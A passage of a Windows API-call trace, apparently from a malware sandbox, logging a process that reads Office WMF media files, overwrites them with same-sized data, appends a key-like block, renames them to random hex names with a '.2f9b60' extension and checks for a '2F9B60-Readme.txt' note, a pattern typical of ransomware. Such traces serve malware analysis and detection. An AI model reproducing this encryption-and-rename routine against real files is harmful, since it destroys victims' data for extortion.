GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf")) returned 0x20 [0115.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF", dwFileAttributes=0x20) returned 1 [0120.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x172c [0120.609] GetFileSizeEx (in: hFile=0x172c, lpFileSize=0x38f9f700 | out: lpFileSize=0x38f9f700*=14392) returned 1 [0120.609] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x3834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.609] ReadFile (in: hFile=0x172c, lpBuffer=0x38f9f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38f9f6c8, lpOverlapped=0x0 | out: lpBuffer=0x38f9f680*, lpNumberOfBytesRead=0x38f9f6c8*=0x4, lpOverlapped=0x0) returned 1 [0120.883] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0120.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0120.883] NtQuerySystemTime (in: CurrentTime=0x38f9f5c0 | out: CurrentTime=0x38f9f5c0*=132462177262738000) returned 0x0 [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x6db40139 [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x3f470c74 [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x55259b3e [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x1c6f655a [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x47728e1f [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x240f9cf1 [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x2c4d75fa [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x45c1eb7b [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x60ac1c5a [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x16e66f5b [0120.883] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x26ce6789 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0xe42a3fd [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x2cf6763a [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x1c9cbf4f [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x2888cf9a [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x3e2696fb [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x5649f91c [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x14368125 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x2f19c487 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x33e60162 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x1684afd0 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x2599fec0 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x681f2b17 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x382ea153 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x185d7114 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x7ba4f361 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x502f2c49 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x1435dc5e [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x46752d63 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x23c2a55b [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x506a3cf7 [0120.884] RtlRandomEx (in: Seed=0x38f9f5b0 | out: Seed=0x38f9f5b0) returned 0x76e6f6cc [0120.892] ReadFile (in: hFile=0x172c, lpBuffer=0x41ec85a0, nNumberOfBytesToRead=0x3838, lpNumberOfBytesRead=0x38f9f5b0, lpOverlapped=0x0 | out: lpBuffer=0x41ec85a0*, lpNumberOfBytesRead=0x38f9f5b0*=0x3838, lpOverlapped=0x0) returned 1 [0121.523] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.523] WriteFile (in: hFile=0x172c, lpBuffer=0x41ebd170*, nNumberOfBytesToWrite=0x3838, lpNumberOfBytesWritten=0x38f9f5b4, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesWritten=0x38f9f5b4*=0x3838, lpOverlapped=0x0) returned 1 [0122.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebc0 [0122.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebf0 [0122.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ebf0) returned 1 [0122.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0122.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec85a0) returned 1 [0122.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e90) returned 1 [0122.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97da0) returned 1 [0122.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050ebf0 [0122.757] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.758] WriteFile (in: hFile=0x172c, lpBuffer=0x116640*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38f9f6d0, lpOverlapped=0x0 | out: lpBuffer=0x116640*, lpNumberOfBytesWritten=0x38f9f6d0*=0x10a, lpOverlapped=0x0) returned 1 [0122.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6bf0 [0122.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6bf0) returned 1 [0122.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6bf0 [0122.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0122.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6980) returned 1 [0122.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.997] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="d4") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="ef") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="f2") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="84") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="63") returned 2 [0122.997] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="45") returned 2 [0122.997] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="20") returned 2 [0122.997] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="58") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="26") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="42") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="c3") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="6c") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="10") returned 2 [0122.997] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="3e") returned 2 [0122.997] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="6e") returned 2 [0122.997] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="b3") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="70") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="79") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="92") returned 2 [0122.997] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="73") returned 2 [0122.997] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="dd") returned 2 [0122.998] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="3c") returned 2 [0122.998] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="ed") returned 2 [0122.998] RtlInitAnsiString (in: DestinationString=0x38f9f748, SourceString="d4eff284634520582642c36c103e6eb370790b9273dd3ced" | out: DestinationString="d4eff284634520582642c36c103e6eb370790b9273dd3ced") [0122.998] RtlAnsiStringToUnicodeString (in: DestinationString=0x38f9f718, SourceString="d4eff284634520582642c36c103e6eb370790b9273dd3ced", AllocateDestinationString=1 | out: DestinationString="d4eff284634520582642c36c103e6eb370790b9273dd3ced") returned 0x0 [0122.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d00 [0122.998] wcscat (in: _Dest=0x202b0bf0, _Source="d4eff2846345" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d4eff2846345") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d4eff2846345" [0122.998] wcscat (in: _Dest=0x202b0bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d4eff2846345.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d4eff2846345.2f9b60" [0122.998] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d4eff2846345.2f9b60", NtPathName=0x38f9f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d4eff2846345.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64e70 [0123.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64e70) returned 1 [0123.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd690) returned 1 [0123.199] NtQueryInformationFile (in: FileHandle=0x172c, IoStatusBlock=0x38f9f758, FileInformation=0x38f9f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38f9f758, FileInformation=0x38f9f768) returned 0x0 [0123.199] NtSetInformationFile (FileHandle=0x172c, IoStatusBlock=0x38f9f758, FileInformation=0x38f9f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0bf0) returned 1 [0123.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d00) returned 1 [0123.205] FlushFileBuffers (hFile=0x172c) returned 1 [0123.208] CloseHandle (hObject=0x172c) returned 1 [0123.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86aaa0 [0123.210] wcscpy (in: _Dest=0x1b86aaa0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0123.210] wcscat (in: _Dest=0x1b86aaa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0123.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0123.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aaa0) returned 1 [0123.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a980) returned 1 Thread: id = 1236 os_tid = 0xc90 [0115.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf")) returned 0x20 [0115.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF", dwFileAttributes=0x20) returned 1 [0120.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe3c [0120.610] GetFileSizeEx (in: hFile=0xe3c, lpFileSize=0x38e6fd00 | out: lpFileSize=0x38e6fd00*=6890) returned 1 [0120.610] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x1ae6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.610] ReadFile (in: hFile=0xe3c, lpBuffer=0x38e6fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38e6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x38e6fc80*, lpNumberOfBytesRead=0x38e6fcc8*=0x4, lpOverlapped=0x0) returned 1 [0121.166] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7250 [0121.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a70a0 [0121.167] NtQuerySystemTime (in: CurrentTime=0x38e6fbc0 | out: CurrentTime=0x38e6fbc0*=132462177265702000) returned 0x0 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x1166693f [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x7c505f58 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x49767848 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x74676008 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0xa4fca1f [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x79f03fd5 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x552fbc39 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x6d1b82b8 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x4dfc193e [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x611947f5 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x1545e38e [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x16d175f0 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x55b8b096 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x7bada240 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x178acc10 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x7d41e36a [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x3689054d [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x33413f54 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x4663c994 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x21e0dfec [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x16de6e0 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x2296c140 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x501ba8bb [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x40bcd39c [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x774dfa98 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x7d834cc6 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x6f2693a1 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x4edd50cb [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x30245643 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0xbc2cec4 [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x1469a6bf [0121.167] RtlRandomEx (in: Seed=0x38e6fbb0 | out: Seed=0x38e6fbb0) returned 0x52d58f42 [0124.300] ReadFile (in: hFile=0xe3c, lpBuffer=0x41c5b4e0, nNumberOfBytesToRead=0x1aea, lpNumberOfBytesRead=0x38e6fbb0, lpOverlapped=0x0 | out: lpBuffer=0x41c5b4e0*, lpNumberOfBytesRead=0x38e6fbb0*=0x1aea, lpOverlapped=0x0) returned 1 [0124.408] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.409] WriteFile (in: hFile=0xe3c, lpBuffer=0x2017d170*, nNumberOfBytesToWrite=0x1aea, lpNumberOfBytesWritten=0x38e6fbb4, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesWritten=0x38e6fbb4*=0x1aea, lpOverlapped=0x0) returned 1 [0124.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c00 [0124.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0124.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260320) returned 1 [0124.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0124.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c5b4e0) returned 1 [0124.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504210) returned 1 [0124.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0124.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260320 [0124.449] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.449] WriteFile (in: hFile=0xe3c, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38e6fcd0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x38e6fcd0*=0x10a, lpOverlapped=0x0) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ad0 [0124.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504310 [0124.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0124.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0124.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0124.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0124.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0124.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda04f0 [0124.568] sprintf (in: _Dest=0x1cda04f0, _Format="%c%c" | out: _Dest="c5") returned 2 [0124.568] sprintf (in: _Dest=0x1cda04f2, _Format="%c%c" | out: _Dest="e6") returned 2 [0124.568] sprintf (in: _Dest=0x1cda04f4, _Format="%c%c" | out: _Dest="61") returned 2 [0124.568] sprintf (in: _Dest=0x1cda04f6, _Format="%c%c" | out: _Dest="1a") returned 2 [0124.568] sprintf (in: _Dest=0x1cda04f8, _Format="%c%c" | out: _Dest="d8") returned 2 [0124.568] sprintf (in: _Dest=0x1cda04fa, _Format="%c%c" | out: _Dest="8b") returned 2 [0124.568] sprintf (in: _Dest=0x1cda04fc, _Format="%c%c" | out: _Dest="d1") returned 2 [0124.568] sprintf (in: _Dest=0x1cda04fe, _Format="%c%c" | out: _Dest="f1") returned 2 [0124.568] sprintf (in: _Dest=0x1cda0500, _Format="%c%c" | out: _Dest="32") returned 2 [0124.568] sprintf (in: _Dest=0x1cda0502, _Format="%c%c" | out: _Dest="a7") returned 2 [0124.568] sprintf (in: _Dest=0x1cda0504, _Format="%c%c" | out: _Dest="ed") returned 2 [0124.568] sprintf (in: _Dest=0x1cda0506, _Format="%c%c" | out: _Dest="a8") returned 2 [0124.568] sprintf (in: _Dest=0x1cda0508, _Format="%c%c" | out: _Dest="88") returned 2 [0124.568] sprintf (in: _Dest=0x1cda050a, _Format="%c%c" | out: _Dest="5c") returned 2 [0124.569] sprintf (in: _Dest=0x1cda050c, _Format="%c%c" | out: _Dest="99") returned 2 [0124.569] sprintf (in: _Dest=0x1cda050e, _Format="%c%c" | out: _Dest="1d") returned 2 [0124.569] sprintf (in: _Dest=0x1cda0510, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.569] sprintf (in: _Dest=0x1cda0512, _Format="%c%c" | out: _Dest="d1") returned 2 [0124.569] sprintf (in: _Dest=0x1cda0514, _Format="%c%c" | out: _Dest="e9") returned 2 [0124.569] sprintf (in: _Dest=0x1cda0516, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.569] sprintf (in: _Dest=0x1cda0518, _Format="%c%c" | out: _Dest="9c") returned 2 [0124.569] sprintf (in: _Dest=0x1cda051a, _Format="%c%c" | out: _Dest="98") returned 2 [0124.569] sprintf (in: _Dest=0x1cda051c, _Format="%c%c" | out: _Dest="f2") returned 2 [0124.569] sprintf (in: _Dest=0x1cda051e, _Format="%c%c" | out: _Dest="9d") returned 2 [0124.569] RtlInitAnsiString (in: DestinationString=0x38e6fd48, SourceString="c5e6611ad88bd1f132a7eda8885c991dd3d1e97d9c98f29d" | out: DestinationString="c5e6611ad88bd1f132a7eda8885c991dd3d1e97d9c98f29d") [0124.569] RtlAnsiStringToUnicodeString (in: DestinationString=0x38e6fd18, SourceString="c5e6611ad88bd1f132a7eda8885c991dd3d1e97d9c98f29d", AllocateDestinationString=1 | out: DestinationString="c5e6611ad88bd1f132a7eda8885c991dd3d1e97d9c98f29d") returned 0x0 [0124.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863d50 [0124.569] wcscat (in: _Dest=0x2027b5f0, _Source="c5e6611ad88b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c5e6611ad88b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c5e6611ad88b" [0124.569] wcscat (in: _Dest=0x2027b5f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c5e6611ad88b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c5e6611ad88b.2f9b60" [0124.569] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c5e6611ad88b.2f9b60", NtPathName=0x38e6fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c5e6611ad88b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac4d0 [0124.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac4d0) returned 1 [0124.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0124.632] NtQueryInformationFile (in: FileHandle=0xe3c, IoStatusBlock=0x38e6fd58, FileInformation=0x38e6fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38e6fd58, FileInformation=0x38e6fd68) returned 0x0 [0124.632] NtSetInformationFile (FileHandle=0xe3c, IoStatusBlock=0x38e6fd58, FileInformation=0x38e6fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b5f0) returned 1 [0124.649] RtlFreeHeap 